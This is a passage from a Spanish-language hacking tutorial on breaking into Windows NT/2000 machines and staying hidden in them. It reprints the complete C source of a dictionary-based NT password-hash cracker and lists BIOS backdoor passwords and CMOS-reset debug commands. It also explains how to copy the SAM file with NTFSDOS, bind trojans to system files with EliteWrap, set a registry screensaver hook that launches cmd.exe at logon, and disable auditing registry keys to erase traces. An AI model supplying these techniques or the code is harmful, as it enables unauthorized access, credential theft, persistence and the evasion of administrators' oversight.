[ 9.1 - Analisis de las SAM ]
---------------------------
Lo que dije antes de que el fichero SAM contiene las encriptados no es
cierto. En su lugar, contiene una funcion hash unidireccional del password
del usuario. Una funcion hash unidireccional lo que hace es procesar la
entrada del usuario y reducirla a un valor unico. En NT, se reduce la
entrada a texto Unicode, y despues le aplica el algoritmo MD4 para convertir
la contrase~a en un valor hash unidireccional.
En el proceso de autentificacion se hace esto mismo, y se compara el
resultado con el valor en la SAM. Si son iguales, el usuario se logea en el
sistema.
Este metodo de almacenamiento de contrase~as asegura que nunca viajaran
contrase~as por la red que no esten codificadas.
[ 9.2 - Crackeandolas ]
---------------------
Para poder descodificar los valores hash del archivo SAM, se debe de
tener la implementacion MD4, y los nombres de usuario... o algun crackeador
de contrase~as de NT.
Podria ahora recomendar el uso de l0pht Crack y acabar esta seccion, sin
embargo antes quisiera insertaros el codigo fuente de otro crackeador, puede
que no tan bueno como el de l0pht tal como aparece aqui, pero con unos
retoques que se le diera se mejoraria mucho... ademas es Freeware. Que mas
quereis?.
El codigo esta en C++, para correr bajo NT. Para compilarlo necesitareis
los ficheros md4.c, md4.h y byteorder.h, los cuales los podreis encontrar en
el codigo de Samba. De md4.c deberas borrar 3 lineas, el ifdef SMB_PASSWD,
y sus correspondientes else y endif.
El codigo esta sacado de la Phrack 50, articulo 8, llamado "Cracking NT
Passwords", por Nihil.
Espero que disfruteis con el.
-- Comienza el codigo --
<++>xploits/ntcrack.c
/*
* (C) Nihil 1997. All rights reserved. A Guild Production.
*
* This program is free for commercial and non-commercial use.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted.
*
* THIS SOFTWARE IS PROVIDED BY NIHIL ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*/
/* Samba is covered by the GNU GENERAL PUBLIC LICENSE Version 2, June 1991 */
/* dictionary based NT password cracker. This is a temporary
* solution until I get some time to do something more
* intelligent. The input to this program is the output of
* Jeremy Allison's PWDUMP.EXE which reads the NT and LANMAN
* OWF passwords out of the NT registry and a crack style
* dictionary file. The output of PWDUMP looks
* a bit like UNIX passwd files with colon delimited fields.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
/* Samba headers we use */
#include "byteorder.h"
#include "md4.h"
#define TRUE 1
#define FALSE 0
#define HASHSIZE 16
/* though the NT password can be up to 128 characters in theory,
* the GUI limits the password to 14 characters. The only way
* to set it beyond that is programmatically, and then it won't
* work at the console! So, I am limiting it to the first 14
* characters, but you can change it to up to 128 by modifying
* MAX_PASSWORD_LENGTH
*/
#define MAX_PASSWORD_LENGTH 14
/* defines for Samba code */
#define uchar unsigned char
#define int16 unsigned short
#define uint16 unsigned short
#define uint32 unsigned int
/* the user's info we are trying to crack */
typedef struct _USER_INFO
{
char* username;
unsigned long ntpassword[4];
}USER_INFO, *PUSER_INFO;
/* our counted unicode string */
typedef struct _UNICODE_STRING
{
int16* buffer;
unsigned long length;
}UNICODE_STRING, *PUNICODE_STRING;
/* from Samba source cut & pasted here */
static int _my_mbstowcs(int16*, uchar*, int);
static int _my_wcslen(int16*);
/* forward declarations */
void Cleanup(void);
int ParsePWEntry(char*, PUSER_INFO);
/* global variable definition, only reason is so we can register an
* atexit() fuction to zero these for paranoid reasons
*/
char pPWEntry[258];
char pDictEntry[129]; /* a 128 char password? yeah, in my wet dreams */
MDstruct MDContext; /* MD4 context structure */
int main(int argc,char *argv[])
{
FILE *hToCrack, *hDictionary;
PUSER_INFO pUserInfo;
PUNICODE_STRING pUnicodeDictEntry;
int i;
unsigned int uiLength;
/* register exit cleanup function */
atexit(Cleanup);
/* must have both arguments */
if (argc != 3)
{
printf("nUsage: %s <password file> <dictionary file>n", argv[0]);
exit(0);
}
/* open password file */
hToCrack = fopen(argv[1], "r");
if (hToCrack == NULL)
{
fprintf(stderr,"Unable to open password filen");
exit(-1);
}
/* open dictionary file */
hDictionary = fopen(argv[2], "r");
if (hDictionary == NULL)
{
fprintf(stderr,"Unable to open dictionary filen");
exit(-1);
}
/* allocate space for our user info structure */
pUserInfo = (PUSER_INFO)malloc(sizeof (USER_INFO));
if (pUserInfo == NULL)
{
fprintf(stderr,"Unable to allocate memory for user info structuren");
exit(-1);
}
/* allocate space for unicode version of the dictionary string */
pUnicodeDictEntry = (PUNICODE_STRING)malloc(sizeof (UNICODE_STRING));
if (pUnicodeDictEntry == NULL)
{
fprintf(stderr,"Unable to allocate memory for unicode conversionn");
free(pUserInfo);
exit(-1);
}
/* output a banner so the user knows we are running */
printf("nCrack4NT is running...n");
/* as long as there are entries in the password file read
* them in and crack away */
while (fgets(pPWEntry, sizeof (pPWEntry), hToCrack))
{
/* parse out the fields and fill our user structure */
if (ParsePWEntry(pPWEntry, pUserInfo) == FALSE)
{
continue;
}
/* reset file pointer to the beginning of the dictionary file */
if (fseek(hDictionary, 0, SEEK_SET))
{
fprintf(stderr,"Unable to reset file pointer in dictionaryn");
memset(pUserInfo->ntpassword, 0, HASHSIZE);
free(pUserInfo);
free(pUnicodeDictEntry);
exit(-1);
}
/* do while we have new dictionary entries */
while (fgets(pDictEntry, sizeof (pDictEntry), hDictionary))
{
/* doh...fgets is grabbing the fucking newline, how stupid */
if (pDictEntry[(strlen(pDictEntry) - 1)] == 'n')
{
pDictEntry[(strlen(pDictEntry) - 1)] = '';
}
/* the following code is basically Jeremy Allison's code written
* for the Samba project to generate the NT OWF password. For
* those of you who have accused Samba of being a hacker's
* paradise, get a fucking clue. There are parts of NT security
* that are so lame that just seeing them implemented in code
* is enough to break right through them. That is all that
* Samba has done for the hacking community.
*/
/* Password cannot be longer than MAX_PASSWORD_LENGTH characters */
uiLength = strlen((char *)pDictEntry);
if(uiLength > MAX_PASSWORD_LENGTH)
uiLength = MAX_PASSWORD_LENGTH;
/* allocate space for unicode conversion */
pUnicodeDictEntry->length = (uiLength + 1) * sizeof(int16);
/* allocate space for it */
pUnicodeDictEntry->buffer = (int16*)malloc(pUnicodeDictEntry->length);
if (pUnicodeDictEntry->buffer == NULL)
{
fprintf(stderr,"Unable to allocate space for unicode stringn");
exit(-1);
}
/* Password must be converted to NT unicode */
_my_mbstowcs( pUnicodeDictEntry->buffer, pDictEntry, uiLength);
/* Ensure string is null terminated */
pUnicodeDictEntry->buffer[uiLength] = 0;
/* Calculate length in bytes */
uiLength = _my_wcslen(pUnicodeDictEntry->buffer) * sizeof(int16);
MDbegin(&MDContext);
for(i = 0; i + 64 <= (signed)uiLength; i += 64)
MDupdate(&MDContext,pUnicodeDictEntry->buffer + (i/2), 512);
MDupdate(&MDContext,pUnicodeDictEntry->buffer + (i/2),(uiLength-i)*8);
/* end of Samba code */
/* check if dictionary entry hashed to the same value as the user's
* NT password, if so print out user name and the corresponding
* password
*/
if (memcmp(MDContext.buffer, pUserInfo->ntpassword, HASHSIZE) == 0)
{
printf("Password for user %s is %sn", pUserInfo->username, pDictEntry);
/* we are done with the password entry so free it */
free(pUnicodeDictEntry->buffer);
break;
}
/* we are done with the password entry so free it */
free(pUnicodeDictEntry->buffer);
}
}
/* cleanup a bunch */
free(pUserInfo->username);
memset(pUserInfo->ntpassword, 0, HASHSIZE);
free(pUserInfo);
free(pUnicodeDictEntry);
/* everything is great */
printf("Crack4NT is finishedn");
return 0;
}
void Cleanup()
{
memset(pPWEntry, 0, 258);
memset(pDictEntry, 0, 129);
memset(&MDContext.buffer, 0, HASHSIZE);
}
/* parse out user name and OWF */
int ParsePWEntry(char* pPWEntry, PUSER_INFO pUserInfo)
{
int HexToBin(char*, uchar*, int);
char pDelimiter[] = ":";
char* pTemp;
char pNoPW[] = "NO PASSWORD*********************";
char pDisabled[] = "********************************";
/* check args */
if (pPWEntry == NULL || pUserInfo == NULL)
{
return FALSE;
}
/* try and get user name */
pTemp = strtok(pPWEntry, pDelimiter);
if (pTemp == NULL)
{
return FALSE;
}
/* allocate space for user name in USER_INFO struct */
pUserInfo->username = (char*)malloc(strlen(pTemp) + 1);
if (pUserInfo->username == NULL)
{
fprintf(stderr,"Unable to allocate memory for user namen");
return FALSE;
}
/* get the user name into the USER_INFO struct */
strcpy(pUserInfo->username, pTemp);
/* push through RID and LanMan password entries to get to NT password */
strtok(NULL, pDelimiter);
strtok(NULL, pDelimiter);
/* get NT OWF password */
pTemp = strtok(NULL, pDelimiter);
if (pTemp == NULL)
{
free(pUserInfo->username);
return FALSE;
}
/* do a sanity check on the hash value */
if (strlen(pTemp) != 32)
{
free(pUserInfo->username);
return FALSE;
}
/* check if the user has no password - we return FALSE in this case to avoid
* unnecessary crack attempts
*/
if (strcmp(pTemp, pNoPW) == 0)
{
printf("User %s has no passwordn", pUserInfo->username);
return FALSE;
}
/* check if account appears to be disabled - again we return FALSE */
if (strcmp(pTemp, pDisabled) == 0)
{
printf("User %s is disabled most likelyn", pUserInfo->username);
return FALSE;
}
/* convert hex to bin */
if (HexToBin((unsigned char*)pTemp, (uchar*)pUserInfo->ntpassword,16) == FALSE)
{
free(pUserInfo->username);
return FALSE;
}
/* cleanup */
memset(pTemp, 0, 32);
return TRUE;
}
/* just what it says, I am getting tired
* This is a pretty lame way to do this, but it is more efficent than
* sscanf()
*/
int HexToBin(char* pHexString, uchar* pByteString, int count)
{
int i, j;
if (pHexString == NULL || pByteString == NULL)
{
fprintf(stderr,"A NULL pointer was passed to HexToBin()n");
return FALSE;
}
/* clear the byte string */
memset(pByteString, 0, count);
/* for each hex char xor the byte with right value, we are targeting
* the low nibble
*/
for (i = 0, j = 0; i < (count * 2); i++)
{
switch (*(pHexString + i))
{
case '0': pByteString[j] ^= 0x00;
break;
case '1': pByteString[j] ^= 0x01;
break;
case '2': pByteString[j] ^= 0x02;
break;
case '3': pByteString[j] ^= 0x03;
break;
case '4': pByteString[j] ^= 0x04;
break;
case '5': pByteString[j] ^= 0x05;
break;
case '6': pByteString[j] ^= 0x06;
break;
case '7': pByteString[j] ^= 0x07;
break;
case '8': pByteString[j] ^= 0x08;
break;
case '9': pByteString[j] ^= 0x09;
break;
case 'a':
case 'A': pByteString[j] ^= 0x0A;
break;
case 'b':
case 'B': pByteString[j] ^= 0x0B;
break;
case 'c':
case 'C': pByteString[j] ^= 0x0C;
break;
case 'd':
case 'D': pByteString[j] ^= 0x0D;
break;
case 'e':
case 'E': pByteString[j] ^= 0x0E;
break;
case 'f':
case 'F': pByteString[j] ^= 0x0F;
break;
default: fprintf(stderr,"invalid character in NT MD4 stringn");
return FALSE;
}
/* I think I need to explain this

We want to incremet j for every
* two characters from the hex string and we also want to shift the
* low 4 bits up to the high 4 just as often, but we want to alternate
* The logic here is to xor the mask to set the low 4 bits, then shift
* those bits up and xor the next mask to set the bottom 4. Every 2
* hex chars for every one byte, get my screwy logic? I never was
* good at bit twiddling, and sscanf sucks for efficiency

*/
if (i%2)
{
j ++;
}
if ((i%2) == 0)
{
pByteString[j] <<= 4;
}
}
return TRUE;
}
/* the following functions are from the Samba source, and many thanks to the
* authors for their great work and contribution to the public source tree
*/
/* Routines for Windows NT MD4 Hash functions. */
static int _my_wcslen(int16 *str)
{
int len = 0;
while(*str++ != 0)
len++;
return len;
}
/*
* Convert a string into an NT UNICODE string.
* Note that regardless of processor type
* this must be in intel (little-endian)
* format.
*/
static int _my_mbstowcs(int16 *dst, uchar *src, int len)
{
int i;
int16 val;
for(i = 0; i < len; i++) {
val = *src;
SSVAL(dst,0,val);
dst++;
src++;
if(val == 0)
break;
}
return i;
}
<-->
-- Finaliza el codigo --
-=-
[ 10 - Herramientas de control remoto ]
-------------------------------------
Quienes lo han probado ya lo saben. Controlar una maquina remotamente con
todos los privilegios es un placer. Para ello, se puede optar por un par de
soluciones, controlar a la maquina por medio de troyanos o por herramientas
comerciales, por norma mas potentes que los anteriores, pero estos requieren
autentificacion, por lo que en principio solo pueden ser usados por personal
autorizado. Remarquese "en principio".
Aqui estudiaremos estas dos clases de software para controlar remotamente
una maquina. Veremos en profundidad el software comercial mas usado para
ello, repasando sus bugs y sus caracteristicas, y explicare las cualidades
de algunos troyanos para NT, cuales son sus ventajas/desventajas, etc.
[ 10.1 - Software comercial ]
---------------------------
Los programas de control remoto de terminales de pago, son por norma
mucho mas potentes en lo que a opciones se refiere que los troyanos. Estos
se usan bastante en empresas, donde el administrador no podra estar siempre
delante de la maquina, y quiere disfrutar de una gui remota, rapida, eficaz,
y segura, claro.
Los principales problemas de seguridad que suelen dar son: tener el
programa mal configurado, con contrase~as debiles, o que el programa tenga
un bug que no esta parcheado. Lo tipico.
Que sirva lo siguiente como comparativa de seguridad de los siguientes
programas.
[ 10.1.1 - Citrix ]
-----------------
Esta es una poderosa herramienta, que destaca sobretodo porque permite
ejecutar mandatos remotos en en servidor. Esto es bastante practico cuando
se quiere instalar de forma remota un parche de seguridad para el servidor,
etc., pero cualquiera con obscuras intenciones podria ejecutar algun troyano
o alguna herramienta que transforme el servidor en una calabaza.
Citrix no necesita tener abiertos los puertos 135 y 139 para el proceso
de autentificacion.
Puerto/s que usa: TCP: 1494.
UDP: 1494.
[ 10.1.2 - ControlIT ]
--------------------
Esta herramienta, nunca se caracterizo por una gran seguridad. En sus
primeras versiones guardaba en texto plano los nombres de usuarios y
contrase~as, y actualmente las codifica no de manera demasiado segura.
Tambien descuida el detalle de obligar a los usuarios a usar contrase~as
fuertes, de proteger los archivos de configuracion y perfiles bajo clave, y
tampoco registra los intentos de inicio de sesion fallidos, aparte de ser
vulnerable a la revelacion de contrase~a de la GUI.
Puerto/s que usa: TCP: 799. 800.
UDP: 800.
(permite utilizar otros puertos)
[ 10.1.3 - Pc Anywhere ]
----------------------
Seguramente ya conocereis esta estupenda herramienta, quiza una de las
mas seguras. Y digo seguras porque obliga al usuario a usar contrase~as lo
suficientemente seguras como para evitar ser adivinadas, distintos metodos
de autentificacion, cifrado del trafico, un numero maximo de intentos de
inicio de sesion, el registro de intentos de intentos de sesion fallidos, el
cierre de sesion del usuario cuando este finalice su conexion, entre otras
cosas.
Sin embargo en estos ultimos dias, Manuel Molina Garcia dio constancia de
que se si se tienen permisos en la carpeta %systemroot%symantecpcanywhere
DATA podemos a~adir perfiles. De esta manera podriamos crearnos una cuenta
en nuestra maquina con PcAnywhere que tuviera derechos administrativos, para
despues subirla al servidor en la carpeta especificada. De esa manera, se
tendria el control total de la maquina. Claro, algunos diran que para tener
derechos de escritura en esa carpeta debes ser administrador, y que si ya lo
eres, ya puedes controlar la maquina. Yo personalmente prefiero controlar
la maquina por un entorno grafico, con tantisimas posibilidades como Pc
Anywhere, y no conformarme con una shell de comandos.
Puerto/s que usa: TCP: 22, 5361, 5362, 65301.
UDP: 22, 5632.
(permite utilizar otros puertos)
[ 10.1.4 - Reach OUT ]
--------------------
Este otro programa, aunque es bastante comodo de usar, no es todo lo
seguro que cabria esperar, ya que no posee un sistema de autentificacion que
no sea el de Windows NT, no protege bajo contrase~a ni sus perfiles ni sus
archivos de configuracion.
Puerto/s que usa: TCP: 43188.
UDP: 43188.
[ 10.1.5 - Remotely Anywhere ]
----------------------------
Este herramienta, pese a haber aparecido hace poco, es una de las mejores
herramientas de control remoto, y promete ser la mejor dentro de poco. Y eso
lo digo porque posee opciones realmente innovadoras dentro de su clase, como
la de poder controlar remotamente el servidor a traves de http... desde el
navegador mismo.
Respecto a la seguridad, posee la mayoria de medidas que Pc Anywhere,
excepto la de ofrecer una autentificacion distinta a la que trae NT, por lo
una vez se tienen los pass de la maquina se tienen los pass del programa.
Ademas posee la posibilidad de ejecutar aplicaciones locales en el
servidor, como citrix. Tambien podremos encontrar interesantes opciones como
la de bloquear selectivo de IP's autentificacion NTLM, etc...
Puerto/s que usa: TCP: 2000, 2001.
UDP: Ninguno.
(permite utilizar otros puertos)
[ 10.1.6 - Timbuktu ]
-------------------
Este programa tiene las mismas caracteristicas de seguridad que incorpora
Pc Anywhere, a~adiendo un par de opciones de control mas, como son el poder
compartir la pantalla simultaneamente entre varios usuarios, la posibilidad
de ponerle caducidad a la contrase~a, etc.
Quizas, el mejor controlador de pc remoto del mundo (como la cerveza).
Puerto/s que usa: TCP: 407.
UDP: 407.
[ 10.1.7 - VNC ]
--------------
Aunqyue haya metido a VNC en la seccion de software comercial, hay que
decir que este es totalmente gratis. Freeware. VNC son las siglas de Virtual
Network Computing.
Quiza su mayor aliciente sea que se puede instalar en muchos SO's, como
Windows 9x/NT/CE, Solaris, Linux e incluso Macintosh. VNC ademas posee una
interfaz java que se podra ver en cualquier navegador que soporte java, para
controlarlo por HTTP.
Cabe decir que VNC no es de los productos mas seguros ni mas completos,
ya que es subsceptible al ataque de revelacion de contrase~a, y carece de
otras opciones de seguridad de otras aplicaciones de control remoto. Sin
embargo, es practico y es freeware.
Puerto/s que usa: TCP: Del 5800, 5801, 5802, 5803...
UDP: Ninguno.
[ 10.2 - Troyanos ]
-----------------
Infectar a la maquina hackeada con algun troyano es la tipica forma de
asegurarse la estancia... durante cierto tiempo. Un troyano no pasara
inadvertido a los ojos del admin por mucho tiempo...
Sin embargo en una maquina medio descuidada por el admin, el instalar un
troyano suele servir bastante bien, aunque no es demasiado recomendable. Si
se opta por instalar uno, debe ser para troyanizar ciertos archivos del
sistema, y posteriormente desinstalar totalmente el troyano, para dejar una
puerta de entrada mas silenciosa.
[ 10.2.1 - Pros y contras ]
-------------------------
Las ventajas que tiene usar un troyano son que, con el cliente adecuado,
es muy comodo entrar y salir de este, ademas sin dejar huellas en el sistema
(esto es relativo, si el admin hace un "netstat -a -n" vera tu IP conectada
al puerto del troyano...).
Lo malo que tiene este metodo es que canta muchisimo... hay que ser algo
mas que un dscuidado para no darse cuenta de que se tiene abierto un puerto
"extra~o". Ademas, si estamos usando algun troyano de los ya "fichados", del
tipo BackOriffice 2K, sin haber modificado el codigo fuente, cualquier
Antivirus decente, o algun limpiatroyanos o similar lo detectara, y ahi lo
mejor que puede pasar es que el admin lo desinstale totalmente y no se ponga
a buscarte...
[ 10.2.3 - Comparativa ]
----------------------
En W2K/NT, el troyano mas potente es el Back Oriffice 2K, que ofrece una
gran cantidad de opciones de control sobre la maquina asediada, una gran
facilidad de uso, y una gran cantidad de addons sobre este. Ademas es Free
Source, por lo que podras modificarlo a placer...
Si se va a instalar un troyano en la maquina victima, no recomiendo el
uso de otros troyanos tipo NetBus, SubSeven, etc... u otro cualquiera a
menos que no hayais comprobado que funcionen correctamente bajo NTFS. NetBus
por ejemplo, trabaja torpemente con el sistema de archivos de NT, incapaz de
listar directorios y hacer otras operaciones rutinarias.
Quiza una de las soluciones mas inteligentes si se usan troyanos, es la
de usarlos junto EliteWrap. Dicha herramienta permite fusionar dos o mas
archivos en uno solo, de manera que cuandose ejecute uno el otro tambien lo
hara. Y decia inteligentes porque podriamos (es una idea) fusionar un
archivo de inicio de sesion (como winlogon.exe) o a un troyano, de esa
manera se podra borrar el troyano temporalmente, ya que cada vez que se
arranque el sistema el troyano se volvera a ejecutar...
Tambien se podria fusionar con un fichero de salvapantallas... etc. Los
intrusos con menos imaginacion seran los que caeran primero.
[ 10.2.4 - Resumen sobre las herramientas de control remoto ]
-----------------------------------------------------------
Como hemos visto, hay dos maneras de acceder remotamente a un servidor
mediante control remoto: usando software comercial o un troyano. Por poder,
podriamos haber usado un I-worm... pero eso ya seria irse demasiado. Quiza
para la proxima vez.
Si detectamos algun tipo de soft comercial de control remoto en alguna
maquina, podemos intentar acceder desde el cliente de dicha herramienta
(podriamos bajarnos las versiones shareware de estos) y probar ataques por
fuerza bruta, etc. Si lograramos acceso, podriamos desde nuestra maquina
a~adir un perfil con nuestro nombre de usuario y password, y subirlo a la
maquina hackeada para poder entrar desde nuestra propia cuenta. Esto
evitaria que se notase nuestra presencia si se logueasen las entradas desde
la cuenta hackeada.
Sobre los troyanos ya hemos visto lo basico... si quereis aprender mas
-=-
[ 12 - Rootkits ]
---------------
Un Rootkit es un conjunto de programas que parchean y troyanizan el
sistema operativo. No hay que confundir a estos con los troyanos. Usar
rootkits en el sistema objetivo es una de los metodos mas fiables para
mantener el acceso al mismo, sin dejar huellas.
Las posibilidades que aporta un rootkit son infinitas, desde troyanizar
el sistema de autentificacion para que de acceso a un usuario que no este
presente en el archivo de contrase~as (invisible desde la vista del propio
administrador), parchear un sistema de deteccion de intrusos (IDS), parchear
la auditoria para que no audite las acciones de segun que usuario, etc.
No voy a explicar como poder hacernos un rootkit, quiza en otra documento
nos pongamos a ello. Ello implicaria explicar desde el modo protegido del
i386, hasta el como trabaja el monitor de seguridad de referencia, etc.
Quizas en otro documento los trate detalladamente. Entonces, para que esta
seccion? he creido necesario ponerla para que el lector sepa que existen, y
si quiere profundizar mas en estos en las URL que se dan en el apendice. No
estaria bien hablar de estos sin poner un ejemplo de uno... el unico del que
tengo constancia que existe, el de rootkit.com. Dicho rootkit esta compuesto
por una gran cantidad de archivos, por lo que no espereis que meta en medio
del articulo el codigo fuente.
Aviso: No ejecutar el fichero deploy.exe sino se sabe bien lo que hace,
menos aun si esta en una maquina NT que hace de servidor a tantas
otras maquinas...
-=-
[ 13 - Resumen ]
--------------
He intentado explicar la mayoria de metodos para entrar en un NT, asi
como algunas formas de mantener nuestra estancia. Ahora profundizaremos un
poco mas en los dos metodos de hackeo, fisico y remoto. Alla vamos.
-=-
Parte III, Hacking fisico de NT
-------------------------------
[ 14 - Iniciacion ]
-----------------
Se dice que una maquina no es totalmente segura si esta no es totalmente
segura fisicamente. Y es cierto.
Muchos Administradores se centran exclusivamente en la seguridad de red,
no dando importancia a la seguridad fisica, olvidando que si el intruso
tiene acceso al servidor, tiene muchas posibilidades de obtener un control
total sobre el.
A continuacion repasaremos algunos metodos para asegurar nuestra sigilosa
estancia.
[ 15 - Consiguiendo acceso ]
--------------------------
Lo primero es conseguir el acceso al servidor fisico. Supongamos que ya
lo tenemos... normalmente el servidor estara vigilado, por lo que el
llevarse el disco duro no suena como medida viable, y se tendra que hackear
desde el sitio donde este la maquina.
Veamos uno de los principales problemas que suele haber al intentar
acceder al sistema, segundos despues de encenderlo; arranca el sistema y...
[ 15.1 - Saltandose la BIOS ]
---------------------------
Vaya, la BIOS nos pide contrase~a para arrancar el sistema. Lo normal
sera que no sepamos la clave y que no la adivinemos...
Aqui podemos optar por cuatro caminos principalmente. El primero seria,
cuando veais la maquina encendida y no haya peligro... le instalais un
crackeador de passwords de la BIOS y ale, a probar. Sin embargo lo mas
seguro sera que el due~o corra NT por el sistema de archivos nativo de NT,
el NTFS (el cual Falken explico en SET 15), por lo que, y como la mayoria
de crackeadores de passwords de la BIOS son para MS-DOS, pues no funcione.
Para ello podeis instalar un emulador de MS-DOS, y listos. Aqui teneis un
La segunda opcion es mas disparatada... la tipica y mil veces explicada
solucion de quitarle la pila a la placa base y esperar a que la RAM CMOS se
descargue... ya que mantiene la informacion solo si esta recibiendo energia
constantemente. Si la maquina esta vigilada probar esta tecnica resulta
arriesgado... o por lo menos en mi opinion (IMO).
La tercera posibilidad es probar con los passwords de la siguiente lista,
los cuales fueron puestos por las compa~ias creadoras del modelo determinado
de bios por si al due~o se le olvidaba la contrase~a. Esta lista ha sido
recopilada por Nethan Einwechter y extraida de hack.co.za.
Tipo de BIOS Contrase~a
------------ ----------
AMI 589589
A.M.I.
aammii
AMI
AMI!SW
AMI.KEY
ami.kez
AMI?SW
AMI_SW
AMI
amiø
amiami
amidecod
AMIPSWD
amipswd
AMISETUP
bios310
BIOSPASS
CMOSPWD
helgaos [la 'o' con acento]
HEWITT RAND
KILLCMOS
Amptron Polrty
AST SnuFG5
Award ?award
º01322222
1EAAh
256256
589721
admin
alfarome
aLLy
aPAf
award
AWARD SW
award.sw
AWARD?SW
award_?
award_ps
AWARD_PW
AWARD_SW
awkward
BIOS
bios*
biosstar
CONCAT
condo
CONDO
djonet
efmukl
g6PJ
h6BB
HELGA-S
HEWITT RAND
HLT
j09F
j256
j262
j322
j64
lkw peter
lkwpeter
PASSWORD
SER
setup
SKY_FOX
SWITCHES_SW
Sxyz
SZYX
t0ch20x
t0ch88
TTPTHA
ttptha
TzqF
wodj
ZAAADA
zbaaaca
zjaaadc
Biostar Biostar
Q54arwms
Compaq Compaq
Concord last
CTX International CTX_123
CyberMax Congress
Daewoo Daewuu
Daytek Daytec
Dell Dell
Digital Equipment komprie
Enox xo11nE
Epox central
Freetech Posterie
HP Vectra hewlpack
IBM IBM
MBIUO
sertafu
Iwill iwill
JetWay spoom1
Joss Technology 57gbz6
technologi
M technology mMmM
MachSpeed sp99dd
Magic-Pro prost
Megastar star
Micron sldkj754
xyzall
Micronics dn_04rjc
Nimble xdfk9874t3
Packard Bell Bell9
QDI QDI
Quantex teX1
xljlbj
Research Col2ogro2
Shuttle Spacve
Siemens Nixdorf SKY_FOX
SpeedEasy lesarot1
SuperMicro ksdjfg934t
Tinys tiny
TMC BIGO
Toshiba 24Banc81
Toshiba
toshy99
Vextrec Technology Vextrex
Vobis merlin
WIMBIOSnbsp BIOS v2.10 Compleri
Zenith 3098z
Zenith
ZEOS zeosx
La cuarta opcion seria desde MS-DOS reinicializar la BIOS. Para ello, una
vez tengais acceso a la maquina en windows/ms-dos, podeis usar el debug e
introducir las siguientes instrucciones:
Tipo de BIOS Instrucciones
------------ -------------
AMI y Award O 70 17
O 71 17
Q
Phoenix O 70 FF
O 71 17
Q
*CUALQUIERA* O 70 2E
O 71 FF
Q
[ 16 - Obteniendo las SAM ]
-------------------------
Supongamos que ya hemos entrado... ahora el sistema arranca... llegamos a
la tipica ventana de autentificacion que nos pide que introduzcamos un
nombre de usuario y contrase~a. El unico problema seguramente sera que si
sabemos el nombre de usuario que queramos atacar (y sino, NT por defecto
deja el login del ultimo usuario que entro localmente), pero no sabemos la
contrase~a. No hay nada a hacer... todo esta perdido? ni por asomo.
Si ese es nuestro caso lo que debemos de hacer es arrancar el sistema con
un disquete que traiga MS-DOS (no importa demasiado la version...) y un
programa llamado NTFSDOS. Dicho programa permite leer particiones NTFS desde
el disquete... y asi sacar, por ejemplo, el fichero SAM(*) del directorio
WinNT/repair/
Hay mas formas de conseguir las SAM... por ejemplo, instalando un
sniffer, etc... las posibilidades son muchas y variadas, pero la mas tipica
en un hack local es esta. Para encontrar sniffers para NT pasaros por el
apendice.
Luego, una vez ya tengamos el SAM, podemos probar crackearlo con algun
crackeador de SAM's, como por ejemplo el L0pht Crack.
Una vez desencriptada la cuenta de Administrador (o una cuenta con
privilegios de administrador) ya podremos pasar a la siguiente etapa en la
intrusion.
* En NT 4, la copia del fichero SAM estaba en WinNT/repair/sam._ , a
diferencia que en W2K, en la que se ha renombrado de sam._ a sam.
[ 17 - Asegurandonos la estancia ]
--------------------------------
Hay muchas maneras de asegurarnos la estancia en la maquina accediendo
localmente a esta.
Podemos optar por no instalar ninguna aplicacion, dejar el sistema como
estaba... o bueno, casi. En este caso cambiariamos unas determinadas claves
del registro, de manera que cuando en el proceso de autentificacion el
teclado este inactivo durante un tiempo determinado, se ejecute, en lugar de
un salvapantallas, un programa que nosotros elijamos... que tal cmd.exe? si,
ya se que no tendremos privilegios administrativos, que no podremos movernos
por los directorios que queramos, etc. Pero podremos copiar el fichero SAM
a nuestro disquete... de manera que aunque el administrador cambie las
claves nosotros podremos seguir entrando.
- La clave donde se almacena el nombre del archivo a ejecutar es:
HKEY_USERS.DEFAULTControl PanelDesktopSCRNSAVE.EXE
- La clave que decide el tiempo que debe pasar para que se ejecute dicha
aplicacion se encuentra en:
HKEY_USERS.DEFAULTControl PanelDesktopScreenSaveTimeOut
Sin embargo mientras quede imaginacion habran muchas mas formas de retener
nuestra estancia localmente, como con el EliteWrap fusionar explorer.exe con
algun ejecutable que cumpla unas funciones determinadas... etc.
Recordad que el codigo que se ejecuta no se ejecutara con privilegios de
sistema, por lo si, por ejemplo, adjuntais un .bat que os cree una cuenta en
el sistema, no tendreis privilegios para ello.
[ 18 - Borrando las huellas ]
---------------------------
Es bastante probable que durante nuestras andanzas no hayamos dejado algun
log, por lo que se hace vital el borrar cualquier rastro que pueda ayudar a
que nos descubran, y en el mejor de los casos, solo nos cierren el acceso.
Depende de las acciones que hayamos hecho en el sistema se habran mas o
menos logs en los que figuraremos, los cuales pueden ser mas o menos
relevantes... veamos.
En el registro se halla gran parte de la configuracion de la auditoria del
sistema. Eliminando unas cuentas claves habremos "capado" la auditoria.
A continuacion muestro la ruta de las claves que juegan algun papel en la
auditoria.
- Esta registra los sucesos relacionados con objetos y carpetas:
HKEY_LOCAL_MACHINESystemCurrentControlSetControlLsaAuditBaseObjects
- Esta otra los permisos:
HKEY_LOCAL_MACHINESystemCurrentControlSetControlLsa
FullPrivilegeAuditing
- Esta decide si el sistema se apagara al llegar a un limite de logs (*):
HKEY_LOCAL_MACHINESystemCurrentControlSetControlLsaCrashOnAuditFail
* Es asi porque Windows NT (cumpliendo las normas del C2) puede ponerse
inactivo si se llega a un tama~o determinado en el archivo de logs. Esto
